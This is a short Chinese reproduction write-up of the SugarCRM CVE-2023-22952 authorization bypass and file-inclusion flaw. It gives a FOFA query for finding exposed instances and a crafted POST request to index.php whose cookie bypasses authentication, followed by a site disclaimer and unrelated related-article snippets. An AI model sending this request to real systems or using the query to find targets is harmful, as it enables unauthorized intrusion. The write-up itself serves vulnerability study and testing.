SugarCRM 任意文件上传漏洞复现(CVE-2023-22952)

0x01 产品简介

  SugarCRM是美国SugarCRM公司的一套开源的客户关系管理系统(CRM)。该系统支持对不同的客户需求进行差异化营销、管理和分配销售线索,实现销售代表的信息共享和追踪。

0x02 漏洞概述

 SugarCRM index.php接口存在安全漏洞,该漏洞源于安装组件中存在授权绕过和PHP本地文件包含漏洞,允许通过HTTP请求对已配置的SugarCRM实例执行未经身份验证的远程代码。

0x03 影响范围

SugarCRM 12.0.2 之前版本

0x04 复现环境

FOFA:app="sugarcrm"

0x05 漏洞复现 

携带特制cookie绕过授权

POST /index.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=7665b859-ea78-4240-b2c2-63c890a422cd
Accept-Encoding: gzip
Connection: closemodule=Users&action=Authenticate&user_name=1&user_password=

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/210494.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

在线人数(oj题)

题目不少于5个字,所以整了个括号凑字数 首先我想到的是用一个数组来记录每一秒的在线人数 但是即使是short类型(2字节),也会用到60 * 60 * 24 * 30 * 12 * 60 * 2 / 1024 / 1024 3,559.5703125 MB 而题目上限是256MB&#xff0…

UE小:UE5性能分析

开始录制性能追踪 要开始录制性能追踪,您可以简单地点击界面上的“开始录制”按钮。 查看追踪数据 录制完成后,点击“Trace”菜单中的“UnrealInsights”选项来查看追踪数据。 使用命令行进行追踪 如果点击录制按钮没有反应,您可以通过命令…

【头歌系统数据库实验】实验4 MySQL单表查询

目录 第1关. 在users表中新增一个用户,user_id为2019100904学号,name为2019-物联网-李明 第2关. 在users表中更新用户 user_id为robot_2 的信息,name设为 机器人二号 第3关. 将solution表中所有 problem_id 为1003 题目的解答结果&#xf…

python源码,在线读取传奇列表,并解析为需要的JSON格式

python源码,在线读取传奇列表,并解析为需要的JSON格式 [Server] ; 使用“/”字符分开颜色,也可以不使用颜色,支持以前的旧格式,只有标题和服务器标题支持颜色 ; 标题/颜色代码(0-255)|服务器标题/颜色代码(0-255)|服务…

使用医学数据集MIMIC,常见的问题记录

目录 MIMIC数据库安装及数据导入教程1.postgresql安装第一步:error running考虑到是不是不同的sql的冲突从报错信息出发重启之后可以安装了 2.打开navicate153.7z 不是内部或外部命令,也不是可运行的程序4.在postgreSQL中输入**\i xxx**命令后遇到提示pe…

2023年9月26日 Go生态洞察:深入解析类型参数

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页——🐅🐾猫头虎的博客🎐 🐳 《面试题大全专栏》 🦕 文章图文…

2023第十二届“认证杯”D题:CMOS黄昏系数|数学中国数学建模国际赛(小美赛)| 建模秘籍文章代码思路大全

铛铛!小秘籍来咯! 小秘籍希望大家都能轻松建模呀,数维杯也会持续给大家放送思路滴~ 抓紧小秘籍,我们出发吧~ 来看看认证杯(D题)! 完整内容可以在文章末尾领取! 问题重述&#x…

【小红书运营指南1】赛道选择 + 账号运营全周期

小红书运营指南1 写在最前面11.23标签一级标签二级标签 网络资源整理1. 赛道选择近2年小红书女性人群画像 2. 基础认知阶段3. 账号启动阶段4. 选题规划阶段5. 爆款打造阶段6. 涨粉变现阶段涨粉变现阶段粉丝发展阶段 写在最前面 最近做的一个项目调研,调研和实际有一…

每日移到算法题 1

借鉴文章:Java-敏感字段加密 - 哔哩哔哩 题目描述 给定一个由多个命令字组成的命令字符串; 1、字符串长度小于等于127字节,只包含大小写字母,数字,下划线和偶数个双引号 2、命令字之间以一个或多个下划线_进行分割…

设计模式-工厂模式(Factory)

Factory模式是一种创建型设计模式&#xff0c;用于封装对象的实例化过程。它提供了一个统一的接口来创建不同类型的对象&#xff0c;而无需暴露具体的实例化逻辑给客户端。 #include <iostream> #include <memory>// AbstractProduct&#xff08;抽象产品类&#…

mybatis-plus处理blob字段

转载自&#xff1a;www.javaman.cn 在 Spring Boot 项目中使用 MyBatis-Plus 处理 longblob 字段时&#xff0c;我们可以按照以下步骤进行操作。假设 longblob 存储的是字符串数据。以下是完整的示例代码&#xff1a; 添加依赖&#xff1a;在你的项目的 pom.xml 文件中添加 My…

js判断上传的文件是GBK编码还是UTF-8

1、获取文件二进制数据&#xff0c;这里只做示例&#xff0c;例如element-ui中文件上传的beforeUpload方法&#xff0c;返回的file对象&#xff0c;然后使用FileReader对其进行转换&#xff0c;再进行后续判断 function beforeUpload(file: File) { const reader new FileRea…

Linux基本指令(超详版)

Linux基本指令&#xff08;超详版&#xff09; 1. ls指令2.pwd指令3. cd 指令4.touch指令5mkdir指令6.rmdir指令&&rm指令7.man指令7.cp指令8.mv指令9.echo指令10.cat指令11.more指令12.less指令13.head指令14.tail指令15.date指令16.find指令17.grep指令zip(打包压缩) …

JVM类加载器ClassLoader的源码分析

1、ClassLoader与现有类加载器的关系 ClassLoader与现有类加载器的关系&#xff1a; ClassLoader是一个抽象类。如果我们给定了一个类的二进制名称&#xff0c;类加载器应尝试去定位或生成构成定义类的数据。一种典型的策略是将给定的二进制名称转换为文件名&#xff0c;然后去…

C语言--实现一个函数把一个整数转为它对应的十六进制的字符串

一.题目描述 实现一个函数把一个整数转为它对应的十六进制的字符串。 比如&#xff1a;输入数字1234 输出&#xff1a;4D2 二.思路分析 用一个sprintf函数可以解决问题&#xff0c;输出相对应的字符串 要注意的问题就是&#xff1a;函数结束后要继续使用的内存&#xff08;比如…

Carla自动驾驶仿真六:pygame多个车辆摄像头画面拼接

此文章主要介绍carla前后左右摄像头画面拼接到pygame上 文章目录 前言一、要点分析二、完整代码三、拼接效果四、总结 前言 1、使用carla做仿真测试或者开发时&#xff0c;如果能够将车辆周边的画面拼接并渲染&#xff0c;可以直观地查看周围地环境&#xff0c;便于调试。本文…

Spring Boot 工厂模式 + 抽象类 + 泛型干掉重复代码

业务场景&#xff1a;N个Excel导入&#xff0c;实现动态加载&#xff0c;只需要定义Excel实体&#xff0c;即可实现功能开发&#xff0c; 核心代码 import cn.afterturn.easypoi.excel.annotation.ExcelTarget; import cn.hutool.core.annotation.AnnotationUtil; import cn.h…

删除Windows系统中无用的隐藏设备

一些即插即用设备会占用一些隐藏的系统资源&#xff0c;比如USB转串口的设备会占用COM号码&#xff0c;网卡会占用静态IP地址等等。 通常我们使用设备管理器的显示隐藏设备功能&#xff0c;来删除这些设备。但是设备管理器每次只允许删除一个设备&#xff0c;如果设备太多了&a…

【算法集训】基础数据结构:四、栈

栈理解了两天&#xff0c;所以迟了一天发。 一、栈的概念 栈是一个容器&#xff0c;是一个先进后出的线性表&#xff0c;类似与日常生活中的电梯、杯子等。 仅限在表尾部进行插入和删除操作。 使用链表来模拟栈&#xff1a; typedef int DataType; 相当于给int起一个别名 st…

Go 协程基础:轻松入门并发编程,解析 Goroutines 的奥秘

一、协程基本使用 1、启动一个协程 主线程中每个100毫秒打印一次&#xff0c;总共打印2次另外开启一个协程&#xff0c;打印10次情况一&#xff1a;打印是交替&#xff0c;证明是并行的情况二&#xff1a;开启的协程打印2次&#xff0c;就退出了&#xff08;因为主线程退出了…